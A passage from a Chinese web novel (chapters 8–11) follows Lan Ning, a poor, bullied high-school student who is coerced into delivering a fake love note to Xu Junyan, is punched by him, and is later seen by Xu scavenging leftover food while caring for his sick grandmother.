蓝宁放下手,视线也跟着垂下来,声音越来越小,越来越低,“言言,你说人的一生是不是得到的幸福都是有限度的,我一下子得到太多了,以后就再也没有了。”
那声音像是在叹息,又像是在抽泣。
他垂着头,黑如浓夜的长发遮住了他的五官,却遮不住倾泻而来的情绪。
许君言一愣。
一滴两滴,三滴,四滴,豆大的水打在鱼身上,许君言惊愕地张着嘴,那带有咸味的水珠随着鱼鳃溜进身体。
带来的氧气缓解了他的窒息,却如同刀子划烂他的五脏六腑。
许君言无声。
慢慢的停止挣扎。
他努力立起身体面向垂着头的人,鱼嘴一张一合:“我不走了,不逃走了,我在你身边,你别哭了好不好,我答应你,我一直在你身边,你想叫我言言就叫,我再也不走了......”
但没有用,蓝宁还是哭。
许君言住了嘴,心脏酸涩的好像要炸开。
为我这种混蛋流泪有什么好的。
傻瓜。
8. 回忆
夏日蝉鸣叫的聒噪,蓝宁穿过晒的冒烟的水泥路去食堂吃饭。
已经过了人群最拥挤的时候,食堂阿姨往往会多给他打一些饭菜。
他是这里的特殊照顾生,蓝宁也知道自己特殊,每每接过白菜土豆时候,都会说一声谢谢。
即便是年级第一,但是他仍旧不能够挺直腰板。
每每看到那些青春洋溢的面孔,总是忍不住低下头。
而低下头只能看见自己翘起鞋底的运动鞋。
人往往不能一直惨,俗话说的什么,上帝给你关了一扇门,一定会给你开另一扇窗。
蓝宁想着自己的那扇窗在哪。
想来想去,想到了,在上帝是欧洲人信奉的神,可能没空搭理他这个临时抱大腿的外人。
面前落下一片阴影。
蓝宁刚要抬头,一只手按在了他的脖子上,强迫他半低着头。
来人说:“把这个给许君言,当面给他,等他看完你再走。”
那人说完,旁边的人一阵笑,说:“大宇,不是吧,你真的要这么干?”
按着他脖子的人笑出声,“那是,要不然前几天恶心他的那些事不就白做了?”
蓝宁垂着头,挣扎几下,那人又说:“蓝宁,你不会跟我过不去吧?”
蓝宁手指攥紧,董宇吹了声口哨,拿纸条拍拍他的脸,“给许君言,这个月就不找你麻烦。”
董宇长的比蓝宁高了不止一个头,长期的营养不良让蓝宁比同龄人瘦小的多,一旦瘦小,随之而来的就是蔑视和欺凌。
蓝宁在选择挨揍和顺从之间,依旧选择了后者。
“我,我知道了。”蓝宁接过纸条,转身继续朝食堂走,不知道谁踹了他一脚,膝盖一痛,扑通一声直接跪在了地上。
夏季的水泥路坚硬滚烫。
双膝很快渗出一点淡红的血迹。
旁边的人哄笑,“张大伟,操,你踢他干什么。”
“踢他还用理由?看他那副样子,看着就莫名来气。”张大伟手臂一挥,拦住旁边的人,跟旁边的人打趣,“徐鸣绅,你心疼啦?”
“心疼你媳妇应该的。”
“我操,你媳妇,我可没这种爱好,你丫嘴真损。”张大伟推推搡搡,几个人打闹着跑了。
等他们走远,蓝宁才敢起来。
他抬起头,外面三十七度烈阳晃的他睁不开眼。
路过的同学向他投来怜悯的目光。
蓝宁手里的纸条被汗液浸湿。
上帝不会给他窗,甚至连缝隙也不会。
许君言是半年前新来的转校生,在许君言没来之前,董宇是这个学校里的刺头,许君言一来就跟他发生矛盾。
两个人打了无数回。
什么找家长,学校警告都经历过了。
梁子一直结着,谁也不服谁。
蓝宁因为董宇跟许君言打架也安稳了一阵子。
直到现在,董宇忽然找到他,让他参与进他们的龙争虎斗。
蓝宁没有选择。
他和许君言不在一个班,见面更是没见过。
问同学要了许君言的班级信息,蓝宁趁着课间的时候走进这个陌生的班级,但是仍旧低着头。
班级里的人不是很多,但蓝宁还是紧张的心脏乱跳。
他耷拉着头,手里的纸条被汗水弄的发潮,直到默默地数完最后一个桌号,停在面前。
面前是一把吉他,封着精美的袋子依靠在桌子旁。
蓝宁知道自己来对了。
因为许君言是音乐特长生,据说他很有音乐天赋,转到这所高中是为了提高自己的文化课成绩考个好大学。
桌边聚集了五六个身形高挑的少年,正在说笑,窗外的樱花开的茂盛,风从外面贯穿进来,带着花的香味,吹动着少年纯白的衬衫。
也吹着蓝宁汗湿的头发。
又一阵笑声传来。
蓝宁攥紧手指,知道自己不能再磨蹭了,但他不认识许君言,只能低着头闷闷地出声,“这个给许君言。”
声音不大,但是足够吸引注意,毕竟在他们人均一米八的个头里,一个小矮子站在那,不会看不见。
少年们停下刚才的话题,看向蓝宁。
蓝宁拿着纸条,举在半空中的手不自觉的微微颤抖。
坐在座位上的少年闻言收敛了笑意,打量了一眼他,“给我?你谁啊?”
蓝宁不由抬头,看向说话的人,一瞬间微微愣神,许君言跟传言的一样,或者说比传言的还要好看。
皮肤像玉石一样白皙细腻,五官精致的像艺术品,一张脸有些少年的圆润,眉眼深邃,鼻梁高挺,双唇丰润,是樱花一样的淡粉色,睫毛浓密纤长,长的像橱窗里的洋娃娃。
更特别的是他的脸上长着几颗小痣,长在鼻梁上,脸颊上,还有一颗长到淡粉色的下唇,好像神来之笔,点缀在过分浓颜的脸上,随着主人的情绪跃动,有种摄人心魄的美感。
好像上帝的偏爱宠儿,把这个人设计的从头到尾,甚至连一颗痣,一根头发丝都是漂亮的,完美的,恰到好处的。
似乎他生来就是为了夺取所有人的目光,视线,以至于每个人第一次见他,甚至于蓝宁,都会忍不住将视线倾落在他身上。
许君言最近心烦的要命,被蓝宁看的有些厌恶地皱起眉。
旁边的少年认出了他,“言哥,他叫蓝宁,是咱们的年级第一。”
“长的可真丑。”许君言实时给出评价。
蓝宁身体一僵,迅速地垂下眼睛,将纸条递给他。
许君言没有接,旁边的少年接过来,打开纸条扫了眼,一瞬间面容有些僵硬。
他看了眼坐在椅子上的人。
许君言询问,“写了什么?”
“上面写......”少年支支吾吾,犹豫了几秒,还是读了出来,“上面写着,请和我交往......主人。”
蓝宁登时后退几大步。
许君言彻底收敛了笑意,拿过纸条看。
旁边的少年回过神,想到什么似的,忽然指着蓝宁,“言哥,他是不是前阵子给你发骚扰消息,放学还尾随你的那个变态?”
蓝宁浑身冰凉,忽然不知道他们在说什么。
许
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君言看完纸条,抬眼看向蓝宁,半笑不笑地勾着嘴角,“我说刚才怎么一直盯着我看,原来那变态就是你啊?”
“不,不是的。”蓝宁脸色苍白,脑袋一阵发麻。
“不是?”许君言旁边的少年一把扯住他的衣领质问:“不是你还给他这种纸条?你不是年纪第一吗?居然这么猥琐?偷他内裤,尾随他,还给他发猥琐消息?”
“什么猥琐消息,我,我没发。”
“没发,那这是什么?”许君言拿起桌上的纸条,一双好看的眼睛盯着他,说:“你在向我告白吗?”
蓝宁一瞬间大脑充血,根本不知道他们说的跟踪尾随,变态是什么,纸条是董宇给他的,在那之前他跟许君言没有任何交集,连有关于许君言的信息都是从班级里的女生口中听到的。
更不知道纸条上写的什么,他只是跟往常一样,被董宇威胁着做事。
但他不能把董宇说出来,否则自己以后的生活一定不会好过,无论怎么样都不能得罪董宇,想来想去,他猛地推开人群,冲了出去。
“我去,别跑!”几个人想拦住蓝宁,但扑了个空,蓝宁跑的飞快,不一会儿就跑的没影了。
许君言面色阴沉,手里的情书变成了一团废纸。
出了三班回到座位,蓝宁喘息着趴在桌上。
脸烧的通红,心脏跳的奇快。
他想过那张纸条是任何侮辱性的字眼,他可能会挨揍或者被羞辱,没想到这比羞辱还让他觉得难堪。
特别是对上那双漂亮的眼睛,他一瞬间觉得自己像只地沟里的老鼠。
许君言长的好看,这是众所周知的事实,刚转进六中不久就因为一张脸火的没边。
蓝宁即便没有朋友也能从班里的女生口中知道,三班那个转校生,怎么怎么好看,帅气,唱歌超级好听,性格也很好,跟他打招呼都会回应,身材高大却长着一张娃娃脸,还爱笑,而且家里还特有钱。
诸如此类的细节。
连成绩垫底打架逃课这种事也被说成是人格魅力。
蓝宁跟他比,简直一个天上的月亮,一个地上的泥巴。
蓝宁从小就比同龄人瘦小,到现在更是没长高过,一张脸又小又蜡黄,身高发育不起来,只发育大脑,导致他头重脚轻,整个人像一个大头娃娃。
从小已经习惯被嘲笑,而他性格沉闷不爱说话,也从来没有朋友,蓝宁不敢幻想自己有朋友,也不敢幻想拥有任何的亲密关系。
送出去的那张暧昧的纸条,像一面镜子,照出他自己丑陋的样子,让羞耻和自卑潮水一样翻涌出来。
-------
下午体育课活动结束,蓝宁按照约定走进篮球场里面的杂物室。
推开门时,三个人正在里面打游戏。
蓝宁站在房间中间,依旧垂着头。
董宇坐在一张桌子上,手指噼里啪啦地点着屏幕,一边开口:“纸条你交给他了?”
“嗯。”蓝宁应声。
董宇从屏幕上抬起头,朝他左看看又看看,看的蓝宁心里发怵,看了一会啧啧两声,“他知道是你就没揍你?”
9. 灰
蓝宁心里一紧,“知道,是我什么?”
“是你偷他内裤,跟他告白,喜欢他呀。”
“什么?”蓝宁顿时红了脸,结结巴巴,“不,不是,纸条是,是你------”。
“我说是你就是你。”董宇抬脚踹了他胸口,冷淡开口,“听不懂?”
蓝宁被踢的踉跄几步,站在地上沉默不语。
手机里传来游戏结束的电子播报音,徐鸣绅放下手机,朝蓝宁叹了口气,“蓝宁啊,你还不明白吗?我们在找许君言的麻烦,但只有我们三个太无聊了,所以你也去找找他的麻烦,最好能恶心到他。”
他伸了个懒腰又笑着说:“所以你就承认是你好了,有什么难的?我们跟你是朋友嘛。”
蓝宁胃里翻涌,一阵恶心,他张了张口,说:“可是我没有做。”
徐鸣绅不笑了。
“妈的,你是蠢猪吗?听不懂人话?”
张大伟跳下桌子,拎着他的领子提上来,“几天不收拾皮痒了是么?”
他抬起手,刚要落下,外面的下课铃声响了。
蓝宁护着自己的头,张大伟一看没处下手,松开他一脚踹在他的小腹上,恶狠狠道:“你要是把我们供出来,蓝宁,你以后别想在学校里好过。”
蓝宁被踹在地上动弹不得。
“他不敢。”董宇收起手机,走到他身边蹲下身,轻轻拍拍他的头,“你也不会想着告老师吧?要是让其他人知道的话,我就把你妈专门给人当小三的事宣传的人尽皆知。”
杂物室的门被关上。
蓝宁趴在地上歇了一会儿,麻木地站起来。
下课了,他要回班级,作为班长还要提前收作业。
走到班级里,蓝宁走到自己的位置上,神色一顿。
他的位置上坐了一个人。
一把吉他放在他桌边上,旁边的同桌已经吓得站到一旁,那人正转着笔,抬头看他。
“班长大人,你好啊。”
蓝宁跟他对视的一瞬间,那张纸条的内容又被迫在脑海里过了一遍,蓝宁脸颊顿时烧了起来,目光躲闪着落在了别处。
周围的女生兴奋地窃窃私语:“许君言欸,长的真好看。”
“好帅。”
“他来找班长做什么?”
“不知道欸。”
窃窃私语声传入蓝宁的耳朵,蓝宁心跳的很快,被众人目光聚焦让他非常不自在,甚至想找个地缝钻进去,“你,你找我什么事?”
许君言垂下视线,掏出兜里手机点点,“我在揍人之前呢,从来都是问清楚的。不会平白无故冤枉人。”
修长白皙的手指在屏幕划过,切换出一个短信界面,举到他面前,“这是你发的吗?”
蓝宁闻声看向屏幕,瞳孔微震,屏幕上的短信不堪入目,满屏污言秽语,甚至让人觉得生理性反胃。
蓝宁一瞬间浑身血液逆流,浑身犹如坠入冰窟,他忽然意识到这是许君言找他算账来了。
虽然不是他的账。
刚才被打的小腹生疼,董宇的话在耳边回响,提醒着他该如何抉择,蓝宁咬咬唇,吞咽下嘴里的苦涩:“是,是我。”
“你承认了?”
“是。”
教室里的学生听的云里雾里,只见许君言把自己的吉他放好,猛地起身,一拳冲在蓝宁的脸上。
“砰!”
蓝宁整个人瞬间被击倒在地。
桌椅碰撞声响起,班级里发出一阵惊叫。
蓝宁脑袋只觉得一阵白光闪过,他只能本能地蜷缩着,保护着自己的头。
周围的尖叫,躁动着,有人说着什么,但蓝宁听不见,看不见,视野里一片猩红。
疼痛。
习惯疼痛。
人为什么要活在这个世界上?
蓝宁时常在想,也许人来到这世界上拥有着不同的使命,有的人来是为了当领袖,有的人来是为了当平民,有的人生下来就能享受快乐。有的人却要一直体验苦难。
普罗米修斯背叛宙斯将火种带到人间,宙斯惩罚他日日受秃鹫啄食的痛苦。
但蓝宁没有犯任何错,为什么那些秃鹫一直要吃他的五脏六腑。
“许君言!你居然在班里打架,你无法无天了你!!!!!”医务室里,张主任指着少年破口大骂,“把你爸妈找来!我看你这个学干脆别上了!”
“我又没错,他给我发骚扰短信,还跟踪我,晚上偷我内裤,他是个变态,我教训变态有错吗?舅舅。”
“你胡说八道些什么?你脑子被门夹了?!还有别叫我舅舅!我没有你这么个外甥!我姐上辈子杀人放火,这辈子把你生出来了!你个不省心的玩意!”
“你自己看啊。”少年将手机扔在桌上。
张主任呼出几口恶气,拿起桌上的手机,只见手机上几十条未知短信,每一条看过去都不堪入目,张主任顿时皱起眉,李老师探头过去看,看了一会儿也叹了口气,“这一定有什么误会,蓝宁是特困生,平时省吃俭用的,手机都没有,怎么能发短信?”
蓝宁垂下眼。
“他都亲口承认了,还有什么好说的?”许君言抱着手臂,下巴点点,“不信你问他。”
张主任气的脸通红,手指点点许君言示意他闭嘴,又看向蓝宁问:“到底怎么回事?他为什么动手?”
蓝宁脸上敷着冰袋消肿,他嘴唇动了动,发现自己喉咙像噎了个石块,说不出任何话。
李老师再次叹气,张主任说:“先找家长来吧。”
李老师满脸犯难,欲言又止,只能转头去翻找班级学生通讯录。
通讯录上根本没有蓝宁家里的联系方式。
“蓝宁,你家里人手机号是多少?”李老师问。
“没有手机。”蓝宁声音几乎小的听不见。
“什么?”
“我外婆没有手机。”
“没手机?现在还有没手机的人?”许君言嗤笑,“你外婆没有手机,你爸妈也没有?你没爸妈?”
张主任指着许君言:“你闭嘴,出去站着!”
“去就去,我还不想跟这个变态在一个屋子里呢,恶心死了。”许君言踢开门,大摇大摆地走出去站着。
门外已经挤满了围观的学生。
学生们纷纷好奇的询问,“许君言,你为什么打架啊?”
许君言哪里会承认自己被又丑又挫的小矮子性骚扰,说出去怎么在学校里面混,只说:“我看他不顺眼,怎么了。”
他说完,周围的的学生一阵安静。
蓝宁在学校里谁不知道啊,是学校的特殊照顾对象,家里穷,连学费都交不起,平时给学校教室打扫卫生赚吃饭钱,学习好,人也老实巴交的,十分内向,甚至跟女生说话都脸红。
而许君言因为这种理由打他,明摆着就是欺负人。
但许君言不管这些,他才不在乎别人怎么看。
许君言只在乎自己开不开心,毕竟全世界都要围着他转。
蓝宁的家长确实没来,许君言这边只有他妈妈到场,许君言被停学一周记大过还赔了钱。
双方算是把这一页翻过去了。
闹剧结束,也是学生们放学的时间点,李老师疏散看热闹的人,张主任在跟许君言的妈妈说着什么。
许君言站在一旁时不时的插着话。
蓝宁等了一会,确定这件事已经彻底结束后,拿起校医给他开的药往外走。
他越过说话的几个人,走到门外。
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一只手搭在他的肩膀上,董宇的脸随即露出来,“干的不错呀,蓝宁。”
“真不愧是我的好兄弟。”张大伟搂过他的肩膀,做出一个很亲密的姿势:“你和你妈一样专业。”
蓝宁没有力气反抗,只把脸偏了偏,却一下子撞上许君言的视线,表面上对他妈妈笑嘻嘻的许君言,看向他的眼神却冷的冰人。
-------
由于打架事件,这几天蓝宁没办法上晚自习,只能早早地回家。
他家离学校很远,走路要一个小时才能到,路上从高楼大厦逐渐变成拥挤的平房,街道上腥臭的垃圾味也浓郁起来。
他家住在老城区的巷子里。
蓝宁在这里出生,也在这里长大,踩过邻居家刚泼过的淘米水,邻居一见他连忙把自己家的小孩扯回去,关上了门。
蓝宁习以为常,打开自家的门。
他家有个小院子,院子里堆满了杂物,塑料瓶,纸壳,泡沫箱,头发花白的外婆正在捆着一叠压扁的塑料瓶。
蓝宁穿过她,刚要进屋,蓝爱芝拉住了他,“宁宁,你妈妈回来了,小点声。”
蓝宁嗯了一声走进屋子,屋子没有客厅,只有两个房间,其中一间房间房门大开,床上一个男人搂着一个女人正在呼呼大睡。
女人穿着大红色的睡裙吊带,一张脸有些岁月的痕迹,但五官仍旧十分漂亮,脸上精致的妆容更显得女人成熟妩媚。
那是他妈,蓝茵。
另一个男人,他不认识。
蓝宁只看了一眼,回到自己跟外婆住的房间。从他记事开始就不知道自己爸爸是谁,蓝茵身边总会出现不同的男人,那些男人会逗他,让他叫爸爸,时间长了他也知道,那是在耍小孩,他根本没有父亲。
也就懒得搭理他们。
直到有一天,蓝茵的心情非常好,拉着他说要带着他嫁入豪门。
蓝宁后来才知道,因为蓝茵口中要嫁的那个豪门,是董宇的叔叔。
最后蓝茵嫁人豪门并没有成功,而从那开始,蓝宁的噩梦就开始了。
晚上,蓝茵又挎着陌生男人出门,蓝宁躺在床上准备入睡,蓝秀芝走过来偷偷给他塞了200块钱,跟他说:“这周的钱,宁宁,你先拿着,别让你妈发现,不然她又要拿去赌了。”
蓝茵喜欢赌钱,有钱的时候赌,没钱的时候想办法借钱赌,榨干身边人所有的钱,然后挥霍而空。
家里的钱经常被翻出来拿走,导致蓝宁吃不起饭,但蓝茵又不需要在家里吃,她想要什么,通常勾勾手指,有大把的男人愿意买单。
“外婆,我可不可以不上学。”蓝宁鼓起勇气,轻声说。
他真的很想出去打工,想自己赚钱,想摆脱学校这个噩梦一样的地方。
“怎么不想上学了啊?”白炽灯昏黄,挂在头顶,蓝爱芝的人晃动,照在蓝宁身上,老人慢慢坐在蓝宁的身边,抬起手摸索着床头,摸到他的头发,温柔地抚摸,“宁宁遇到什么事了?”
“我.......”蓝宁嘴唇动了动,对上他外婆混浊的眼睛,一时间说不出来话。
告诉外婆又能怎么样呢?改变不了任何事,董宇还是会欺负他,甚至变本加厉。
蓝爱芝以为自家小孙子不学好了,摸摸他的头,嘱咐着:“不行啊,宁宁,你不能不上学,你年纪还小,不能像你妈妈一样,年纪轻轻走错了路,之后一错再错.....”
她佝偻着腰,在衣服里摸索了一阵,拿出今天捡到的水果,递给他,“宁宁,好好学习,以后找个好工作,找个好老婆,安安稳稳的过日子,外婆就指望你了,你要有出息。”
蓝宁抿紧嘴唇,积攒的勇气又消了下去,他低着头,感觉四肢无力,现在他只想好好睡一觉。
10. 世上最难治的病是穷病
许君言来学校已经是一周后。
下午太阳下山,郑嘉仪老早就在学校门口接他,许君言把自家司机打发走后,往教学楼走,下午文化课都上的差不多了,以前许君言是不用去的,但今时不同往日,现在父母对他容忍度很低,他不想去也得去。
赶上大课间下课,周围都是来来往往的学生,两个人并排走着,郑嘉仪问:“言哥,在家呆的舒服吗?”
许君言垮着一张脸,“能好吗?我妈说再打架就把我关在家里,请人一对一教我,直到我考上大学为止。”
“阿姨真狠。”郑嘉仪啧啧两声。
许君言从小学习就不好,各科成绩从来没超过六十分,上小学时别的孩子都开始上奥数班了,他十以内加减法都算不明白。
当时家里人还以为他智力障碍,专门找了医生,医生诊断完,说孩子没毛病,单纯不爱学习。
不爱学习又是个作天作地的犟种,所以家里人也只能睁一只眼闭一只眼养活。
而许君言长大后成绩成功稳居年级前十,只不过是倒数。
学习对许君言来说是一种折磨,在家学习就是酷刑中的酷刑。
许君言摆摆手,迈进教学楼,“因为那个变态,我被关家里关一周,我妈看着我哪里也不让我去,比杀了我还难受。”
“蓝宁啊。”郑嘉仪搭上他的肩膀,思索着说:“但是你不在这几天大家都在说你欺负他,他在年级里的名声还挺好,听咱班女生说他家里挺穷的,人也内向不爱说话,平时独来独往没什么朋友,平时老实巴交的是个只知道学习的好人呢。”
“变态会把变态两个字写在脸上?”许君言冷哼。
郑嘉仪表示很赞同,“说不定是他的伪装,表面上装的三好学生,实际上是个内心扭曲的猥琐男。”
提起这个许君言那股气又窜上来,“以后最好别让我撞见他,我撞见他一次,我揍......”
许君言说到一半停住了。
郑嘉仪也跟着停下来。
只见明亮的大厅里,一个人正在拿着拖把擦拭着地板。
那人很瘦,弯着腰打扫,纤细的四肢在宽松的校服里晃荡,单薄的后背印出几块突出的脊骨。
郑嘉仪首先认出来他,“呦,这不是蓝宁么。”
蓝宁心里一紧,朝声源望了一眼,连忙地低下头,局促不安地攥紧手里的拖把。
两个人逆着外面的阳光走进大厅。
蓝宁不敢出声,更不敢做出什么回应,只能低着头将存在感降到最低,像往常一样,把自己当成一个没有情绪没有生命的物体,安静地缩在角落里。
等了一会儿,只看看两双运动鞋从他身边经过。
他暗自松了一口气。
许君言脸色阴沉,走过他,郑嘉仪说:“言哥,你不说要揍他吗?”
“揍什么?我刚被放出来,搞不好又要被关在家里。”许君言插着兜,跟郑嘉仪往上走了一会儿,又觉得不解气,他迅速折回,冲着蓝宁旁边的水桶,扑通一脚踢飞。
大片的水渍从走廊上蔓延开来。
蓝宁被吓得一抖,双臂抬起下意识挡住自己的头。
许君言双手插兜,居高临下地看着他:“以后看见我主动绕道走,别再让我看见你的脸,记住了吗?”
蓝宁低着头,声线有些颤抖:“记住了。”
“恶心。”许君言说完,郑嘉仪拉着他走了。
等脚步声彻底消失,蓝宁弯腰清理地上的水渍,他攥紧手指,咬住嘴唇,拼命忍着眼眶的酸胀,但泪水还是忍不住流了下来,被董宇欺负他没哭,被打也没有哭,但许许多多的事情堆积起来,就像骆驼身上的最后一根稻草,轻飘飘的,压垮他的防线。
“班长,你要不要告诉老师......”旁边的张安上前,给他递了一张纸,蓝宁后知后觉地拿起袖子擦干眼里的水。
推开递过来的纸巾。
收拾好地上的水渍,快步离开。
比起被欺负,怜悯的目光更让他难受。
他那仅有的一点点自尊,不想被人觉得可怜。
而且最近他外婆的老毛病犯了,他也不想再惹上任何麻烦,他需要打更多的工,去赚医药费,他只想像往常一样,默默忍耐过去。
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“同学们,下面来看填空题第二题,在三角形的a,b,c中,内角对应的边是A,B,C,若a等于6,b等于3c,那么......”
大暑,午后的空气都带着燥热和粘稠,许君言抵挡不住夺命催眠数学课的精神攻击,在一点一点的磕头。
虔诚拜三拜,就差给数学老师上柱香。
同桌郑嘉仪观察了一会儿偷偷摸摸笑了下,推推许君言,“唉唉,言哥,老师叫你。”
许君言蹭地一下站起来,张口就来,“这题选C.......”
寂静的班级里顿时哄笑起来,数学老师脸色阴沉,拿粉笔砸了他一下,“我讲的是填空题,选什么C,上后面站着!”
许君言:“哦。”
郑嘉仪趴在桌上,憋笑憋的脸通红,数学老师又掰了一块粉笔扔过去,“郑嘉仪,你也去。”
郑嘉仪不笑了。
许君言从迷糊中清醒,首先给旁边人一拳,咬牙切齿,“你活够了?老师根本没叫我。”
郑嘉仪嘿嘿嘿地笑了下,捅捅他,“言哥,想出去玩不?”
许君言爱搭不理,“去哪?”
“当然是去校外。”
“不去,我爸知道了会拿七匹狼抽我。”许君言已经被抽过一顿,所以这阵子都得夹着尾巴小心翼翼做人,逃课想都不要想。
“先别急着抽,有正当理由啊。”
许君言狐疑地看了他一眼,郑嘉仪亮出一口白牙,“我今天要去看牙,包请下来假的。”
许君言:“好兄弟。”
于是两个人拿着请假条光明正大地走出校门,但郑嘉仪的牙痛也是真的,所以许君言出来的第一件事还是跟他去医院看牙。
医院人来人往,许君言坐在牙科外面等叫号。
因为郑嘉仪牙痛病犯了,捧着脸去买冰块去了。
等了一会儿,郑嘉仪鼓着脸在快步走过来,一脸神神秘秘地拉住他:“哥,你猜我看见谁了?”
“谁啊?”
“蓝宁。”郑嘉仪说。
“蓝宁怎么在这?”许君言厌恶地皱起眉,“真是晦气。”
“那是相当晦气了。”
“不对。”郑嘉仪落座,想了想,忽然脸色一变,看向许君言:“哥,按理来说他应该在上课啊,怎么会这么巧合也在医院,他是不是,又在跟踪你?”
“啊?”许君言回想起之前被尾随,还偷拍他的照片发给他的那些恶心事,气的咬了咬后槽牙,“真是胆子够大的啊,教训了一次还不够,还敢招惹我。”
郑嘉仪捧着脸,含糊不清地说:“言哥,你要不去看看,反正现在也没事,与其让他跟踪你,不如主动出击。”
不用郑嘉仪说,许君言也想去会会这个恬不知耻的人,他把挂号单扔给郑嘉仪,快步下楼。
郑嘉仪在后面补充:“我看见他在住院处那边。”
许君言怒气冲冲下楼,一边想着把蓝宁大卸八块。
走到住院处大厅,他视线扫过走廊里站着的坐着的人,终于搜寻到了蓝宁的身影。
许君言有些怔愣。
只见蓝宁坐在点滴室里面的椅子上,身边挨着一个年纪七八十岁的老太太,老太太身形枯槁,一只眼睛明显有些问题,呈现出一种病态的灰白,她侧着头,拉着蓝宁的手说话。
蓝宁好像不是来跟踪他的,是来照顾这个老人的。
护士叫了两声蓝爱芝的名字。
将她手上的点滴拔除,一边嘱咐着什么。
许君言见蓝宁起身,在矮小的椅子旁蹲下来,将身后老人的手搭在胸前,起身将老人背在背上。
老人瘦,蓝宁也瘦,伶仃的两个人朝着门口,慢慢地走过来。
鬼使神差的,许君言躲了起来。
蓝宁在跟护士聊天没看见他,微微弯着腰,额头上有一些汗珠,嘴角破了一块,但面容沉静,漆黑的瞳仁看着前方,声线平稳,没有以前那样畏畏缩缩,也没有眼神飘忽,他跟护士说了几句,慢慢地背着老人往出走。
全程都十分从容和温和。
跟他遇见那个胆小懦弱,说话结结巴巴的蓝宁一点也不一样。
原来不在学校的蓝宁是这个样子么。
那样的正常。
或者在学校他是不正常的?
许君言忽然想起那天郑嘉仪念出那张纸条的时候,他神色那样慌张,惊恐,好像不知道里面写的什么一样。
假如纸条跟他没有关系,但他为什么要承认呢?
许君言觉得有些无法言说的茫然和惊讶。
他目光扫过破掉的唇角,微微皱起眉,好像每次遇见蓝宁,他身上总是带着点伤,而那些伤根本不是自己打的。
可那又跟自己有什么关系,知道蓝宁不是来跟踪他就行了。
他带谁看病,跟自己有什么关系。
不找他麻烦已经很好了。
就像郑嘉仪说的,这个说不定是蓝宁的伪装,表面上装的人模人样,实际上还是心里变态。
许君言如此说服着自己,但却发现自己没有那么坚定了,他不由怀疑世界上有两个蓝宁,一个在学校里,一个在这里。
郑嘉仪看完牙,嘴里含着一块棉花,大舌啷叽地给蓝宁打过微信电话
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:“言郭,我宽完牙了,你债哪里?”
“在外面。”许君言回头看了眼医院的大门,报出地址:“在b1门口。”
“为什么在外面?华美找到人嘛?”郑嘉仪看牙看了一个多小时了,正常来说许君言不至于找不到蓝宁。
许君言目光落在远处,顿了顿,“你过来吧。”
“哦,好。”
郑嘉仪顶着大太阳找到B1,热的汗水直流,“哥,坐这不热吗?南宁人呢。”
许君言沉默不语,坐在外面的台阶上,他也不知道自己坐这干嘛,一个小时前他应该回去的,但是走出门口的那一刻,脚不受控制地停了,他心里很乱,脑子更乱,像是无端被人在打了一拳,说不清楚哪里不舒服,反正闷闷的,透不过气。
郑嘉仪看许君言一副丢了魂儿的样子心里发毛,“哥,你这样子好像把人给打屎了一样。”
“滚蛋。”许君言踢他一脚。
“索引你把南宁肿么了?”
许君言很烦躁,听郑嘉仪大舌啷叽地说话更烦躁,蹭地站起来就要走。
然而还没迈开步伐,余光扫到一个熟悉的身影,他下意识转过头去捕捉。
只见大厅里面,一个瘦弱矮小的少年,低着头,慢慢地朝这边走了过来。
郑嘉仪支支吾吾,手指指着大厅:“郭,南,,,南宁。”
许君言迅速地拉着郑嘉仪躲了起来。
郑嘉仪表达欲爆棚,但无奈口齿不清,只能继续支支吾吾:“郭,你吃错药了?躲他干嘛?”
跟许君言玩这么多年,都是别人躲他,不敢惹他,头一次见到他主动躲人的。
而且还是蓝宁这种猥琐小人。
“闭嘴。”许君言跟他躲到一处宣传牌后面,等蓝宁完全过去,许君言从宣传牌后面探出头。
郑嘉仪的头也跟着探出来,然后咬着棉花听话地闭着嘴。
两个人视线汇聚到一处。
那个瘦弱的少年走到烈日下,朝着医院侧门方向走。
住院部侧门外面有摆着几个小吃摊,什么烤玉米,烤红薯,盒饭,冷面之类的。
医院看病往往需要大半天,有些人顶不住饿,就会来小摊买点吃的,小吃摊上的饭量大顶饱,比餐馆里面餐食要便宜很多。
人们吃完扔进旁边的垃圾桶,又一头扎进医院继续看病。
少年走出大门,在一个盒饭餐车前面驻足了好一阵,许君言以为他要买盒饭。
结果他在老板的催促下似乎又犹豫了一会儿,缓缓走到一旁,目光忽然落在了别处。
许君言顺着他的目光看过去,正好是一对情侣,男人给女人买了盒饭和奶茶,女孩似乎觉得的难吃,打开盒饭吃了两口,就扔在垃圾桶上面,咬着奶茶,抱怨着什么,男人一阵赔笑。
蓝宁一直在看那个没怎么吃的盒饭,等两个人彻底走后,缓缓走近,拿了起来。
郑嘉仪微微张着嘴,不顾牙齿的疼痛指着外面,满脸震惊:“我靠,他在吃别人吃剩的饭。”
他震惊完扯扯旁边的许君言,许君言脑子都是懵的,他看到了什么?这是什么?蓝宁在捡别人吃剩的饭?二十一世纪还有穷成这样的人?
许君言甚至不能理解,他出生到现在身边的一切都是昂贵的,随意挥霍的,充足的,贫穷对他来说是陌生遥远的东西。
遥远到太阳到地球的距离。
而现在他充分感知到了贫穷这两个字的具象化。
看着蓝宁一口一口吃着盒饭,许君言怔愣半响,轻声开口:“你说,一个捡垃圾吃的人,有心思给别人写纸条,跟踪别人吗?”
郑嘉仪也处在惊掉下巴的阶段,他缓过神,顿时也迷茫了,“呃,大概,我,我也不知道......反正,看样子挺可怜的......嗯......就这样反正......”
许君言静静地看那个蹲在墙角的少年把饭盒吃的干干净净,然后又走到摊位前买了一盒新的,拿在手里朝这边走过来。
许君言知道,蓝宁那盒新的八成是给那个老人买的。
“走吧。”许君言深深呼出一口气,拉住郑嘉仪,快速地离开医院。
太阳高挂,万里无云,天气热的仿佛要把人蒸干,蓝宁跟外婆在医院呆了一会儿,就做公交回家了。
蓝爱芝白内障很久了,一只眼睛不能视物,现在另一只眼睛也不大行了。
医生建议手术治疗,但蓝宁没有那么多钱,只能在严重的时候来医院开点药,打几瓶点滴,缓解一下。
世界上最难治的是穷病。
蓝宁把外婆安顿好,开始整理院子打扫房间。
外婆把读书作为摆脱贫困的唯一希望,但外婆不知道,读书也需要很长时间,在这很长时间里,他们要一直穷下去。
11. 谁在汪汪叫
蓝宁的假请了三天,但外婆说学习要紧,第二天就催着蓝宁回去上课,蓝宁只好答应。
走进班级门口,刚要迈进去一个男生忽然拉住了他的书包,把他往出带了带。
蓝宁吓得身体一抖,转过头看见那人的脸时松了口气,是他的前桌张安。
张安神色焦急,四下望了下说:“蓝宁,你告诉老师吧。”‘
“什,什么?”蓝宁一时不知道他什么意思。
